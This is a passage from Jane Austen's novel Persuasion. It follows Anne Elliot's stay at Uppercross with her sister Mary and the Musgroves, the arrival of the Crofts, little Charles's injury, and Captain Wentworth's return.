drove off in very good spirits; +Sir Walter prepared with condescending bows for all the afflicted +tenantry and cottagers who might have had a hint to show themselves, +and Anne walked up at the same time, in a sort of desolate tranquillity, +to the Lodge, where she was to spend the first week. + +Her friend was not in better spirits than herself. Lady Russell felt this +break-up of the family exceedingly. Their respectability was +as dear to her as her own, and a daily intercourse had become +precious by habit. It was painful to look upon their deserted grounds, +and still worse to anticipate the new hands they were to fall into; +and to escape the solitariness and the melancholy of so altered a village, +and be out of the way when Admiral and Mrs Croft first arrived, +she had determined to make her own absence from home begin +when she must give up Anne. Accordingly their removal was made together, +and Anne was set down at Uppercross Cottage, in the first stage +of Lady Russell's journey. + +Uppercross was a moderate-sized village, which a few years back +had been completely in the old English style, containing only +two houses superior in appearance to those of the yeomen and labourers; +the mansion of the squire, with its high walls, great gates, and old trees, +substantial and unmodernized, and the compact, tight parsonage, +enclosed in its own neat garden, with a vine and a pear-tree +trained round its casements; but upon the marriage of the young 'squire, +it had received the improvement of a farm-house elevated into a cottage, +for his residence, and Uppercross Cottage, with its veranda, +French windows, and other prettiness, was quite as likely to catch +the traveller's eye as the more consistent and considerable aspect +and premises of the Great House, about a quarter of a mile farther on. + +Here Anne had often been staying. She knew the ways of Uppercross +as well as those of Kellynch. The two families were so continually meeting, +so much in the habit of running in and out of each other's house +at all hours, that it was rather a surprise to her to find Mary alone; +but being alone, her being unwell and out of spirits was almost +a matter of course. Though better endowed than the elder sister, +Mary had not Anne's understanding nor temper. While well, and happy, +and properly attended to, she had great good humour and excellent spirits; +but any indisposition sunk her completely. She had no resources +for solitude; and inheriting a considerable share of the Elliot +self-importance, was very prone to add to every other distress +that of fancying herself neglected and ill-used. In person, she was +inferior to both sisters, and had, even in her bloom, only reached +the dignity of being "a fine girl." She was now lying on the faded sofa +of the pretty little drawing-room, the once elegant furniture of which +had been gradually growing shabby, under the influence of four summers +and two children; and, on Anne's appearing, greeted her with-- + +"So, you are come at last! I began to think I should never see you. +I am so ill I can hardly speak. I have not seen a creature +the whole morning!" + +"I am sorry to find you unwell," replied Anne. "You sent me +such a good account of yourself on Thursday!" + +"Yes, I made the best of it; I always do: but I was very far from well +at the time; and I do not think I ever was so ill in my life +as I have been all this morning: very unfit to be left alone, I am sure. +Suppose I were to be seized of a sudden in some dreadful way, +and not able to ring the bell! So, Lady Russell would not get out. +I do not think she has been in this house three times this summer." + +Anne said what was proper, and enquired after her husband. +"Oh! Charles is out shooting. I have not seen him since seven o'clock. +He would go, though I told him how ill I was. He said he should not +stay out long; but he has never come back, and now it is almost one. +I assure you, I have not seen a soul this whole long morning." + +"You have had your little boys with you?" + +"Yes, as long as I could bear their noise; but they are so unmanageable +that they do me more harm than good. Little Charles does not mind +a word I say, and Walter is growing quite as bad." + +"Well, you will soon be better now," replied Anne, cheerfully. +"You know I always cure you when I come. How are your neighbours +at the Great House?" + +"I can give you no account of them. I have not seen one of them to-day, +except Mr Musgrove, who just stopped and spoke through the window, +but without getting off his horse; and though I told him how ill I was, +not one of them have been near me. It did not happen to suit +the Miss Musgroves, I suppose, and they never put themselves +out of their way." + +"You will see them yet, perhaps, before the morning is gone. +It is early." + +"I never want them, I assure you. They talk and laugh a great deal +too much for me. Oh! Anne, I am so very unwell! It was quite unkind +of you not to come on Thursday." + +"My dear Mary, recollect what a comfortable account you sent me of yourself! +You wrote in the cheerfullest manner, and said you were perfectly well, +and in no hurry for me; and that being the case, you must be aware +that my wish would be to remain with Lady Russell to the last: +and besides what I felt on her account, I have really been so busy, +have had so much to do, that I could not very conveniently have +left Kellynch sooner." + +"Dear me! what can you possibly have to do?" + +"A great many things, I assure you. More than I can recollect +in a moment; but I can tell you some. I have been making +a duplicate of the catalogue of my father's books and pictures. +I have been several times in the garden with Mackenzie, +trying to understand, and make him understand, which of Elizabeth's plants +are for Lady Russell. I have had all my own little concerns +to arrange, books and music to divide, and all my trunks to repack, +from not having understood in time what was intended as to the waggons: +and one thing I have had to do, Mary, of a more trying nature: +going to almost every house in the parish, as a sort of take-leave. +I was told that they wished it. But all these things took up +a great deal of time." + +"Oh! well!" and after a moment's pause, "but you have never asked me +one word about our dinner at the Pooles yesterday." + +"Did you go then? I have made no enquiries, because I concluded +you must have been obliged to give up the party." + +"Oh yes! I went. I was very well yesterday; nothing at all +the matter with me till this morning. It would have been strange +if I had not gone." + +"I am very glad you were well enough, and I hope you had a pleasant party." + +"Nothing remarkable. One always knows beforehand what the dinner will be, +and who will be there; and it is so very uncomfortable not having +a carriage of one's own. Mr and Mrs Musgrove took me, and we were +so crowded! They are both so very large, and take up so much room; +and Mr Musgrove always sits forward. So, there was I, crowded into +the back seat with Henrietta and Louise; and I think it very likely +that my illness to-day may be owing to it." + +A little further perseverance in patience and forced cheerfulness +on Anne's side produced nearly a cure on Mary's. She could soon +sit upright on the sofa, and began to hope she might be able +to leave it by dinner-time. Then, forgetting to think of it, +she was at the other end of the room, beautifying a nosegay; +then, she ate her cold meat; and then she was well enough +to propose a little walk. + +"Where shall we go?" said she, when they were ready. "I suppose +you will not like to call at the Great House before they have +been to see you?" + +"I have not the smallest objection on that account," replied Anne. +"I should never think of standing on such ceremony with people I know +so well as Mrs and the Miss Musgroves." + +"Oh! but they ought to call upon you as soon as possible. +They ought to feel what is due to you as my sister. However, +we may as well go and sit with them a little while, and when we +have that over, we can enjoy our walk." + +Anne had always thought such a style of intercourse highly imprudent; +but she had ceased to endeavour to check it, from believing that, +though there were on each side continual subjects of offence, +neither family could now do without it. To the Great House accordingly +they went, to sit the full half hour in the old-fashioned square parlour, +with a small carpet and shining floor, to which the present +daughters of the house were gradually giving the proper air of confusion +by a grand piano-forte and a harp, flower-stands and little tables +placed in every direction. Oh! could the originals of the portraits +against the wainscot, could the gentlemen in brown velvet and +the ladies in blue satin have seen what was going on, have been conscious +of such an overthrow of all order and neatness! The portraits themselves +seemed to be staring in astonishment. + +The Musgroves, like their houses, were in a state of alteration, +perhaps of improvement. The father and mother were in the old +English style, and the young people in the new. Mr and Mrs Musgrove +were a very good sort of people; friendly and hospitable, +not much educated, and not at all elegant. Their children had +more modern minds and manners. There was a numerous family; +but the only two grown up, excepting Charles, were Henrietta and Louisa, +young ladies of nineteen and twenty, who had brought from school at Exeter +all the usual stock of accomplishments, and were now like thousands +of other young ladies, living to be fashionable, happy, and merry. +Their dress had every advantage, their faces were rather pretty, +their spirits extremely good, their manner unembarrassed and pleasant; +they were of consequence at home, and favourites abroad. +Anne always contemplated them as some of the happiest creatures +of her acquaintance; but still, saved as we all are, by some +comfortable feeling of superiority from wishing for the possibility +of exchange, she would not have given up her own more elegant +and cultivated mind for all their enjoyments; and envied them nothing +but that seemingly perfect good understanding and agreement together, +that good-humoured mutual affection, of which she had known +so little herself with either of her sisters. + +They were received with great cordiality. Nothing seemed amiss +on the side of the Great House family, which was generally, +as Anne very well knew, the least to blame. The half hour was +chatted away pleasantly enough; and she was not at all surprised +at the end of it, to have their walking party joined by both +the Miss Musgroves, at Mary's particular invitation. + + + +Chapter 6 + + +Anne had not wanted this visit to Uppercross, to learn that a removal +from one set of people to another, though at a distance of only three miles, +will often include a total change of conversation, opinion, and idea. +She had never been staying there before, without being struck by it, +or without wishing that other Elliots could have her advantage +in seeing how unknown, or unconsidered there, were the affairs +which at Kellynch Hall were treated as of such general publicity +and pervading interest; yet, with all this experience, she believed +she must now submit to feel that another lesson, in the art of knowing +our own nothingness beyond our own circle, was become necessary for her; +for certainly, coming as she did, with a heart full of the subject +which had been completely occupying both houses in Kellynch for many weeks, +she had expected rather more curiosity and sympathy than she found +in the separate but very similar remark of Mr and Mrs Musgrove: +"So, Miss Anne, Sir Walter and your sister are gone; and what part of Bath +do you think they will settle in?" and this, without much +waiting for an answer; or in the young ladies' addition of, +"I hope we shall be in Bath in the winter; but remember, papa, +if we do go, we must be in a good situation: none of your +Queen Squares for us!" or in the anxious supplement from Mary, of-- +"Upon my word, I shall be pretty well off, when you are all gone away +to be happy at Bath!" + +She could only resolve to avoid such self-delusion in future, +and think with heightened gratitude of the extraordinary blessing +of having one such truly sympathising friend as Lady Russell. + +The Mr Musgroves had their own game to guard, and to destroy, +their own horses, dogs, and newspapers to engage them, and the females +were fully occupied in all the other common subjects of housekeeping, +neighbours, dress, dancing, and music. She acknowledged it to be +very fitting, that every little social commonwealth should dictate +its own matters of discourse; and hoped, ere long, to become +a not unworthy member of the one she was now transplanted into. +With the prospect of spending at least two months at Uppercross, +it was highly incumbent on her to clothe her imagination, her memory, +and all her ideas in as much of Uppercross as possible. + +She had no dread of these two months. Mary was not so repulsive +and unsisterly as Elizabeth, nor so inaccessible to all influence of hers; +neither was there anything among the other component parts +of the cottage inimical to comfort. She was always on friendly terms +with her brother-in-law; and in the children, who loved her nearly as well, +and respected her a great deal more than their mother, she had +an object of interest, amusement, and wholesome exertion. + +Charles Musgrove was civil and agreeable; in sense and temper he was +undoubtedly superior to his wife, but not of powers, or conversation, +or grace, to make the past, as they were connected together, +at all a dangerous contemplation; though, at the same time, +Anne could believe, with Lady Russell, that a more equal match +might have greatly improved him; and that a woman of real understanding +might have given more consequence to his character, and more usefulness, +rationality, and elegance to his habits and pursuits. As it was, +he did nothing with much zeal, but sport; and his time was otherwise +trifled away, without benefit from books or anything else. +He had very good spirits, which never seemed much affected by +his wife's occasional lowness, bore with her unreasonableness +sometimes to Anne's admiration, and upon the whole, though there was +very often a little disagreement (in which she had sometimes more share +than she wished, being appealed to by both parties), they might pass +for a happy couple. They were always perfectly agreed in the want +of more money, and a strong inclination for a handsome present +from his father; but here, as on most topics, he had the superiority, +for while Mary thought it a great shame that such a present was not made, +he always contended for his father's having many other uses for his money, +and a right to spend it as he liked. + +As to the management of their children, his theory was much better +than his wife's, and his practice not so bad. "I could manage them +very well, if it were not for Mary's interference," was what +Anne often heard him say, and had a good deal of faith in; +but when listening in turn to Mary's reproach of "Charles spoils +the children so that I cannot get them into any order," she never had +the smallest temptation to say, "Very true." + +One of the least agreeable circumstances of her residence there +was her being treated with too much confidence by all parties, +and being too much in the secret of the complaints of each house. +Known to have some influence with her sister, she was continually requested, +or at least receiving hints to exert it, beyond what was practicable. +"I wish you could persuade Mary not to be always fancying herself ill," +was Charles's language; and, in an unhappy mood, thus spoke Mary: +"I do believe if Charles were to see me dying, he would not think +there was anything the matter with me. I am sure, Anne, if you would, +you might persuade him that I really am very ill--a great deal worse +than I ever own." + +Mary's declaration was, "I hate sending the children to the Great House, +though their grandmamma is always wanting to see them, for she humours +and indulges them to such a degree, and gives them so much trash +and sweet things, that they are sure to come back sick and cross +for the rest of the day." And Mrs Musgrove took the first opportunity +of being alone with Anne, to say, "Oh! Miss Anne, I cannot help wishing +Mrs Charles had a little of your method with those children. +They are quite different creatures with you! But to be sure, +in general they are so spoilt! It is a pity you cannot put your sister +in the way of managing them. They are as fine healthy children +as ever were seen, poor little dears! without partiality; +but Mrs Charles knows no more how they should be treated--! +Bless me! how troublesome they are sometimes. I assure you, Miss Anne, +it prevents my wishing to see them at our house so often as +I otherwise should. I believe Mrs Charles is not quite pleased +with my not inviting them oftener; but you know it is very bad +to have children with one that one is obligated to be checking +every moment; "don't do this," and "don't do that;" or that one can +only keep in tolerable order by more cake than is good for them." + +She had this communication, moreover, from Mary. "Mrs Musgrove thinks +all her servants so steady, that it would be high treason +to call it in question; but I am sure, without exaggeration, +that her upper house-maid and laundry-maid, instead of being +in their business, are gadding about the village, all day long. +I meet them wherever I go; and I declare, I never go twice into my nursery +without seeing something of them. If Jemima were not the trustiest, +steadiest creature in the world, it would be enough to spoil her; +for she tells me, they are always tempting her to take a walk with them." +And on Mrs Musgrove's side, it was, "I make a rule of never interfering +in any of my daughter-in-law's concerns, for I know it would not do; +but I shall tell you, Miss Anne, because you may be able to set things +to rights, that I have no very good opinion of Mrs Charles's nursery-maid: +I hear strange stories of her; she is always upon the gad; and from +my own knowledge, I can declare, she is such a fine-dressing lady, +that she is enough to ruin any servants she comes near. +Mrs Charles quite swears by her, I know; but I just give you this hint, +that you may be upon the watch; because, if you see anything amiss, +you need not be afraid of mentioning it." + +Again, it was Mary's complaint, that Mrs Musgrove was very apt +not to give her the precedence that was her due, when they dined +at the Great House with other families; and she did not see any reason +why she was to be considered so much at home as to lose her place. +And one day when Anne was walking with only the Musgroves, one of them +after talking of rank, people of rank, and jealousy of rank, said, +"I have no scruple of observing to you, how nonsensical some persons are +about their place, because all the world knows how easy and indifferent +you are about it; but I wish anybody could give Mary a hint that +it would be a great deal better if she were not so very tenacious, +especially if she would not be always putting herself forward to take +place of mamma. Nobody doubts her right to have precedence of mamma, +but it would be more becoming in her not to be always insisting on it. +It is not that mamma cares about it the least in the world, +but I know it is taken notice of by many persons." + +How was Anne to set all these matters to rights? She could do little more +than listen patiently, soften every grievance, and excuse each +to the other; give them all hints of the forbearance necessary +between such near neighbours, and make those hints broadest +which were meant for her sister's benefit. + +In all other respects, her visit began and proceeded very well. +Her own spirits improved by change of place and subject, +by being removed three miles from Kellynch; Mary's ailments lessened +by having a constant companion, and their daily intercourse +with the other family, since there was neither superior affection, +confidence, nor employment in the cottage, to be interrupted by it, +was rather an advantage. It was certainly carried nearly as far as possible, +for they met every morning, and hardly ever spent an evening asunder; +but she believed they should not have done so well without the sight +of Mr and Mrs Musgrove's respectable forms in the usual places, +or without the talking, laughing, and singing of their daughters. + +She played a great deal better than either of the Miss Musgroves, +but having no voice, no knowledge of the harp, and no fond parents, +to sit by and fancy themselves delighted, her performance was +little thought of, only out of civility, or to refresh the others, +as she was well aware. She knew that when she played she was +giving pleasure only to herself; but this was no new sensation. +Excepting one short period of her life, she had never, since the age +of fourteen, never since the loss of her dear mother, known the happiness +of being listened to, or encouraged by any just appreciation or real taste. +In music she had been always used to feel alone in the world; +and Mr and Mrs Musgrove's fond partiality for their own daughters' +performance, and total indifference to any other person's, +gave her much more pleasure for their sakes, than mortification +for her own. + +The party at the Great House was sometimes increased by other company. +The neighbourhood was not large, but the Musgroves were visited +by everybody, and had more dinner-parties, and more callers, +more visitors by invitation and by chance, than any other family. +There were more completely popular. + +The girls were wild for dancing; and the evenings ended, occasionally, +in an unpremeditated little ball. There was a family of cousins +within a walk of Uppercross, in less affluent circumstances, +who depended on the Musgroves for all their pleasures: they would come +at any time, and help play at anything, or dance anywhere; and Anne, +very much preferring the office of musician to a more active post, +played country dances to them by the hour together; a kindness which +always recommended her musical powers to the notice of Mr and Mrs Musgrove +more than anything else, and often drew this compliment;-- +"Well done, Miss Anne! very well done indeed! Lord bless me! +how those little fingers of yours fly about!" + +So passed the first three weeks. Michaelmas came; and now Anne's heart +must be in Kellynch again. A beloved home made over to others; +all the precious rooms and furniture, groves, and prospects, +beginning to own other eyes and other limbs! She could not +think of much else on the 29th of September; and she had this +sympathetic touch in the evening from Mary, who, on having occasion +to note down the day of the month, exclaimed, "Dear me, is not this +the day the Crofts were to come to Kellynch? I am glad I did not +think of it before. How low it makes me!" + +The Crofts took possession with true naval alertness, and were +to be visited. Mary deplored the necessity for herself. +"Nobody knew how much she should suffer. She should put it off +as long as she could;" but was not easy till she had talked Charles +into driving her over on an early day, and was in a very animated, +comfortable state of imaginary agitation, when she came back. +Anne had very sincerely rejoiced in there being no means of her going. +She wished, however to see the Crofts, and was glad to be within +when the visit was returned. They came: the master of the house +was not at home, but the two sisters were together; and as it chanced +that Mrs Croft fell to the share of Anne, while the Admiral sat by Mary, +and made himself very agreeable by his good-humoured notice +of her little boys, she was well able to watch for a likeness, +and if it failed her in the features, to catch it in the voice, +or in the turn of sentiment and expression. + +Mrs Croft, though neither tall nor fat, had a squareness, +uprightness, and vigour of form, which gave importance to her person. +She had bright dark eyes, good teeth, and altogether an agreeable face; +though her reddened and weather-beaten complexion, the consequence +of her having been almost as much at sea as her husband, made her seem to +have lived some years longer in the world than her real eight-and-thirty. +Her manners were open, easy, and decided, like one who had +no distrust of herself, and no doubts of what to do; without any +approach to coarseness, however, or any want of good humour. +Anne gave her credit, indeed, for feelings of great consideration +towards herself, in all that related to Kellynch, and it pleased her: +especially, as she had satisfied herself in the very first half minute, +in the instant even of introduction, that there was not the smallest +symptom of any knowledge or suspicion on Mrs Croft's side, to give a bias +of any sort. She was quite easy on that head, and consequently +full of strength and courage, till for a moment electrified by +Mrs Croft's suddenly saying,-- + +"It was you, and not your sister, I find, that my brother had +the pleasure of being acquainted with, when he was in this country." + +Anne hoped she had outlived the age of blushing; but the age of emotion +she certainly had not. + +"Perhaps you may not have heard that he is married?" added Mrs Croft. + +She could now answer as she ought; and was happy to feel, +when Mrs Croft's next words explained it to be Mr Wentworth +of whom she spoke, that she had said nothing which might not do +for either brother. She immediately felt how reasonable it was, +that Mrs Croft should be thinking and speaking of Edward, +and not of Frederick; and with shame at her own forgetfulness +applied herself to the knowledge of their former neighbour's +present state with proper interest. + +The rest was all tranquillity; till, just as they were moving, +she heard the Admiral say to Mary-- + +"We are expecting a brother of Mrs Croft's here soon; I dare say +you know him by name." + +He was cut short by the eager attacks of the little boys, +clinging to him like an old friend, and declaring he should not go; +and being too much engrossed by proposals of carrying them away +in his coat pockets, &c., to have another moment for finishing +or recollecting what he had begun, Anne was left to persuade herself, +as well as she could, that the same brother must still be in question. +She could not, however, reach such a degree of certainty, +as not to be anxious to hear whether anything had been said on the subject +at the other house, where the Crofts had previously been calling. + +The folks of the Great House were to spend the evening of this day +at the Cottage; and it being now too late in the year for such visits +to be made on foot, the coach was beginning to be listened for, +when the youngest Miss Musgrove walked in. That she was coming +to apologize, and that they should have to spend the evening by themselves, +was the first black idea; and Mary was quite ready to be affronted, +when Louisa made all right by saying, that she only came on foot, +to leave more room for the harp, which was bringing in the carriage. + +"And I will tell you our reason," she added, "and all about it. +I am come on to give you notice, that papa and mamma are +out of spirits this evening, especially mamma; she is thinking so much +of poor Richard! And we agreed it would be best to have the harp, +for it seems to amuse her more than the piano-forte. I will tell you +why she is out of spirits. When the Crofts called this morning, +(they called here afterwards, did not they?), they happened to say, +that her brother, Captain Wentworth, is just returned to England, +or paid off, or something, and is coming to see them almost directly; +and most unluckily it came into mamma's head, when they were gone, +that Wentworth, or something very like it, was the name of +poor Richard's captain at one time; I do not know when or where, +but a great while before he died, poor fellow! And upon looking over +his letters and things, she found it was so, and is perfectly sure +that this must be the very man, and her head is quite full of it, +and of poor Richard! So we must be as merry as we can, that she may not +be dwelling upon such gloomy things." + +The real circumstances of this pathetic piece of family history were, +that the Musgroves had had the ill fortune of a very troublesome, +hopeless son; and the good fortune to lose him before he reached +his twentieth year; that he had been sent to sea because he was stupid +and unmanageable on shore; that he had been very little cared for +at any time by his family, though quite as much as he deserved; +seldom heard of, and scarcely at all regretted, when the intelligence +of his death abroad had worked its way to Uppercross, two years before. + +He had, in fact, though his sisters were now doing all they could for him, +by calling him "poor Richard," been nothing better than a thick-headed, +unfeeling, unprofitable Dick Musgrove, who had never done anything +to entitle himself to more than the abbreviation of his name, +living or dead. + +He had been several years at sea, and had, in the course of those removals +to which all midshipmen are liable, and especially such midshipmen +as every captain wishes to get rid of, been six months on board +Captain Frederick Wentworth's frigate, the Laconia; and from the Laconia +he had, under the influence of his captain, written the only two letters +which his father and mother had ever received from him during the whole +of his absence; that is to say, the only two disinterested letters; +all the rest had been mere applications for money. + +In each letter he had spoken well of his captain; but yet, +so little were they in the habit of attending to such matters, +so unobservant and incurious were they as to the names of men or ships, +that it had made scarcely any impression at the time; and that Mrs Musgrove +should have been suddenly struck, this very day, with a recollection +of the name of Wentworth, as connected with her son, seemed one of those +extraordinary bursts of mind which do sometimes occur. + +She had gone to her letters, and found it all as she supposed; +and the re-perusal of these letters, after so long an interval, +her poor son gone for ever, and all the strength of his faults forgotten, +had affected her spirits exceedingly, and thrown her into +greater grief for him than she had know on first hearing of his death. +Mr Musgrove was, in a lesser degree, affected likewise; and when +they reached the cottage, they were evidently in want, first, +of being listened to anew on this subject, and afterwards, +of all the relief which cheerful companions could give them. + +To hear them talking so much of Captain Wentworth, repeating his name +so often, puzzling over past years, and at last ascertaining that it might, +that it probably would, turn out to be the very same Captain Wentworth +whom they recollected meeting, once or twice, after their coming back +from Clifton--a very fine young man--but they could not say whether +it was seven or eight years ago, was a new sort of trial to Anne's nerves. +She found, however, that it was one to which she must inure herself. +Since he actually was expected in the country, she must teach herself +to be insensible on such points. And not only did it appear that +he was expected, and speedily, but the Musgroves, in their warm gratitude +for the kindness he had shewn poor Dick, and very high respect +for his character, stamped as it was by poor Dick's having been +six months under his care, and mentioning him in strong, +though not perfectly well-spelt praise, as "a fine dashing felow, +only two perticular about the schoolmaster," were bent on +introducing themselves, and seeking his acquaintance, as soon as +they could hear of his arrival. + +The resolution of doing so helped to form the comfort of their evening. + + + +Chapter 7 + + +A very few days more, and Captain Wentworth was known to be at Kellynch, +and Mr Musgrove had called on him, and come back warm in his praise, +and he was engaged with the Crofts to dine at Uppercross, +by the end of another week. It had been a great disappointment +to Mr Musgrove to find that no earlier day could be fixed, +so impatient was he to shew his gratitude, by seeing Captain Wentworth +under his own roof, and welcoming him to all that was strongest +and best in his cellars. But a week must pass; only a week, +in Anne's reckoning, and then, she supposed, they must meet; +and soon she began to wish that she could feel secure even for a week. + +Captain Wentworth made a very early return to Mr Musgrove's civility, +and she was all but calling there in the same half hour. +She and Mary were actually setting forward for the Great House, +where, as she afterwards learnt, they must inevitably have found him, +when they were stopped by the eldest boy's being at that moment +brought home in consequence of a bad fall. The child's situation +put the visit entirely aside; but she could not hear of her escape +with indifference, even in the midst of the serious anxiety +which they afterwards felt on his account. + +His collar-bone was found to be dislocated, and such injury +received in the back, as roused the most alarming ideas. +It was an afternoon of distress, and Anne had every thing to do at once; +the apothecary to send for, the father to have pursued and informed, +the mother to support and keep from hysterics, the servants to control, +the youngest child to banish, and the poor suffering one to attend +and soothe; besides sending, as soon as she recollected it, +proper notice to the other house, which brought her an accession +rather of frightened, enquiring companions, than of very useful assistants. + +Her brother's return was the first comfort; he could take best care +of his wife; and the second blessing was the arrival of the apothecary. +Till he came and had examined the child, their apprehensions were +the worse for being vague; they suspected great injury, but knew not where; +but now the collar-bone was soon replaced, and though Mr Robinson +felt and felt, and rubbed, and looked grave, and spoke low words +both to the father and the aunt, still they were all to hope the best, +and to be able to part and eat their dinner in tolerable ease of mind; +and then it was, just before they parted, that the two young aunts +were able so far to digress from their nephew's state, as to give +the information of Captain Wentworth's visit; staying five minutes behind +their father and mother, to endeavour to express how perfectly delighted +they were with him, how much handsomer, how infinitely more agreeable +they thought him than any individual among their male acquaintance, +who had been at all a favourite before. How glad they had been +to hear papa invite him to stay dinner, how sorry when he said +it was quite out of his power, and how glad again when he had promised +in reply to papa and mamma's farther pressing invitations to come +and dine with them on the morrow--actually on the morrow; +and he had promised it in so pleasant a manner, as if he felt +all the motive of their attention just as he ought. And in short, +he had looked and said everything with such exquisite grace, +that they could assure them all, their heads were both turned by him; +and off they ran, quite as full of glee as of love, and apparently +more full of Captain Wentworth than of little Charles. + +The same story and the same raptures were repeated, when the two girls came +with their father, through the gloom of the evening, to make enquiries; +and Mr Musgrove, no longer under the first uneasiness about his heir, +could add his confirmation and praise, and hope there would be now +no occasion for putting Captain Wentworth off, and only be sorry to think +that the cottage party, probably, would not like to leave the little boy, +to give him the meeting. "Oh no; as to leaving the little boy," +both father and mother were in much too strong and recent alarm +to bear the thought; and Anne, in the joy of the escape, +could not help adding her warm protestations to theirs. + +Charles Musgrove, indeed, afterwards, shewed more of inclination; +"the child was going on so well, and he wished so much to be introduced +to Captain Wentworth, that, perhaps, he might join them in the evening; +he would not dine from home, but he might walk in for half an hour." +But in this he was eagerly opposed by his wife, with "Oh! no, indeed, +Charles, I cannot bear to have you go away. Only think if anything +should happen?" + +The child had a good night, and was going on well the next day. +It must be a work of time to ascertain that no injury had been +done to the spine; but Mr Robinson found nothing to increase alarm, +and Charles Musgrove began, consequently, to feel no necessity +for longer confinement. The child was to be kept in bed and amused +as quietly as possible; but what was there for a father to do? +This was quite a female case, and it would be highly absurd in him, +who could be of no use at home, to shut himself up. His father +very much wished him to meet Captain Wentworth, and there being +no sufficient reason against it, he ought to go; and it ended in his +making a bold, public declaration, when he came in from shooting, +of his meaning to dress directly, and dine at the other house. + +"Nothing can be going on better than the child," said he; +"so I told my father, just now, that I would come, and he thought me +quite right. Your sister being with you, my love, I have no scruple at all. +You would not like to leave him yourself, but you see I can be of no use. +Anne will send for me if anything is the matter." + +Husbands and wives generally understand when opposition will be vain. +Mary knew, from Charles's manner of speaking, that he was +quite determined on going, and that it would be of no use to teaze him. +She said nothing, therefore, till he was out of the room, +but as soon as there was only Anne to hear-- + +"So you and I are to be left to shift by ourselves, with this +poor sick child; and not a creature coming near us all the evening! +I knew how it would be. This is always my luck. If there is +anything disagreeable going on men are always sure to get out of it, +and Charles is as bad as any of them. Very unfeeling! I must say +it is very unfeeling of him to be running away from his poor little boy. +Talks of his being going on so well! How does he know that he is +going on well, or that there may not be a sudden change half an hour hence? +I did not think Charles would have been so unfeeling. So here he is to +go away and enjoy himself, and because I am the poor mother, +I am not to be allowed to stir; and yet, I am sure, I am more unfit +than anybody else to be about the child. My being the mother +is the very reason why my feelings should not be tried. I am not at all +equal to it. You saw how hysterical I was yesterday." + +"But that was only the effect of the suddenness of your alarm-- +of the shock. You will not be hysterical again. I dare say we shall have +nothing to distress us. I perfectly understand Mr Robinson's directions, +and have no fears; and indeed, Mary, I cannot wonder at your husband. +Nursing does not belong to a man; it is not his province. +A sick child is always the mother's property: her own feelings +generally make it so." + +"I hope I am as fond of my child as any mother, but I do not know +that I am of any more use in the sick-room than Charles, +for I cannot be always scolding and teazing the poor child when it is ill; +and you saw, this morning, that if I told him to keep quiet, +he was sure to begin kicking about. I have not nerves +for the sort of thing." + +"But, could you be comfortable yourself, to be spending +the whole evening away from the poor boy?" + +"Yes; you see his papa can, and why should not I? Jemima is so careful; +and she could send us word every hour how he was. I really think +Charles might as well have told his father we would all come. +I am not more alarmed about little Charles now than he is. +I was dreadfully alarmed yesterday, but the case is very different to-day." + +"Well, if you do not think it too late to give notice for yourself, +suppose you were to go, as well as your husband. Leave little Charles +to my care. Mr and Mrs Musgrove cannot think it wrong while I remain +with him." + +"Are you serious?" cried Mary, her eyes brightening. "Dear me! +that's a very good thought, very good, indeed. To be sure, +I may just as well go as not, for I am of no use at home--am I? +and it only harasses me. You, who have not a mother's feelings, +are a great deal the properest person. You can make little Charles +do anything; he always minds you at a word. It will be a great deal better +than leaving him only with Jemima. Oh! I shall certainly go; +I am sure I ought if I can, quite as much as Charles, for they want me +excessively to be acquainted with Captain Wentworth, and I know +you do not mind being left alone. An excellent thought of yours, +indeed, Anne. I will go and tell Charles, and get ready directly. +You can send for us, you know, at a moment's notice, if anything +is the matter; but I dare say there will be nothing to alarm you. +I should not go, you may be sure, if I did not feel quite at ease +about my dear child." + +The next moment she was tapping at her husband's dressing-room door, +and as Anne followed her up stairs, she was in time for +the whole conversation, which began with Mary's saying, +in a tone of great exultation-- + +"I mean to go with you, Charles, for I am of no more use at home +than you are. If I were to shut myself up for ever with the child, +I should not be able to persuade him to do anything he did not like. +Anne will stay; Anne undertakes to stay at home and take care of him. +It is Anne's own proposal, and so I shall go with you, which will be +a great deal better, for I have not dined at the other house since Tuesday." + +"This is very kind of Anne," was her husband's answer, "and I should be +very glad to have you go; but it seems rather hard that she should be +left at home by herself, to nurse our sick child." + +Anne was now at hand to take up her own cause, and the sincerity +of her manner being soon sufficient to convince him, where conviction +was at least very agreeable, he had no farther scruples as to her being +left to dine alone, though he still wanted her to join them in the evening, +when the child might be at rest for the night, and kindly urged her +to let him come and fetch her, but she was quite unpersuadable; +and this being the case, she had ere long the pleasure of seeing them +set off together in high spirits. They were gone, she hoped, +to be happy, however oddly constructed such happiness might seem; +as for herself, she was left with as many sensations of comfort, +as were, perhaps, ever likely to be hers. She knew herself to be +of the first utility to the child; and what was it to her +if Frederick Wentworth were only half a mile distant, making himself +agreeable to others? + +She would have liked to know how he felt as to a meeting. +Perhaps indifferent, if indifference could exist under such circumstances. +He must be either indifferent or unwilling. Had he wished +ever to see her again, he need not have waited till this time; +he would have done what she could not but believe that in his place +she should have done long ago, when events had been early giving him +the independence which alone had been wanting. + +Her brother and sister came back delighted with their new acquaintance, +and their visit in general. There had been music, singing, +talking, laughing, all that was most agreeable; charming manners +in Captain Wentworth, no shyness or reserve; they seemed all +to know each other perfectly, and he was coming the very next morning +to shoot with Charles. He was to come to breakfast, but not at the Cottage, +though that had been proposed at first; but then he had been pressed +to come to the Great House instead, and he seemed afraid of being +in Mrs Charles Musgrove's way, on account of the child, and therefore, +somehow, they hardly knew how, it ended in Charles's being to meet him +to breakfast at his father's. + +Anne understood it. He wished to avoid seeing her. He had inquired +after her, she found, slightly, as might suit a former slight acquaintance, +seeming to acknowledge such as she had acknowledged, actuated, perhaps, +by the same view of escaping introduction when they were to meet. + +The morning hours of the Cottage were always later than those +of the other house, and on the morrow the difference was so great +that Mary and Anne were not more than beginning breakfast when +Charles came in to say that they were just setting off, that he was +come for his dogs, that his sisters were following with Captain Wentworth; +his sisters meaning to visit Mary and the child, and Captain Wentworth +proposing also to wait on her for a few minutes if not inconvenient; +and though Charles had answered for the child's being in no such state +as could make it inconvenient, Captain Wentworth would not be satisfied +without his running on to give notice. + +Mary, very much gratified by this attention, was delighted to receive him, +while a thousand feelings rushed on Anne, of which this was +the most consoling, that it would soon be over. And it was soon over. +In two minutes after Charles's preparation, the others appeared; +they were in the drawing-room. Her eye half met Captain Wentworth's, +a bow, a curtsey passed; she heard his voice; he talked to Mary, +said all that was right, said something to the Miss Musgroves, +enough to mark an easy footing; the room seemed full, full of persons +and voices, but a few minutes ended it. Charles shewed himself +at the window, all was ready, their visitor had bowed and was gone, +the Miss Musgroves were gone too, suddenly 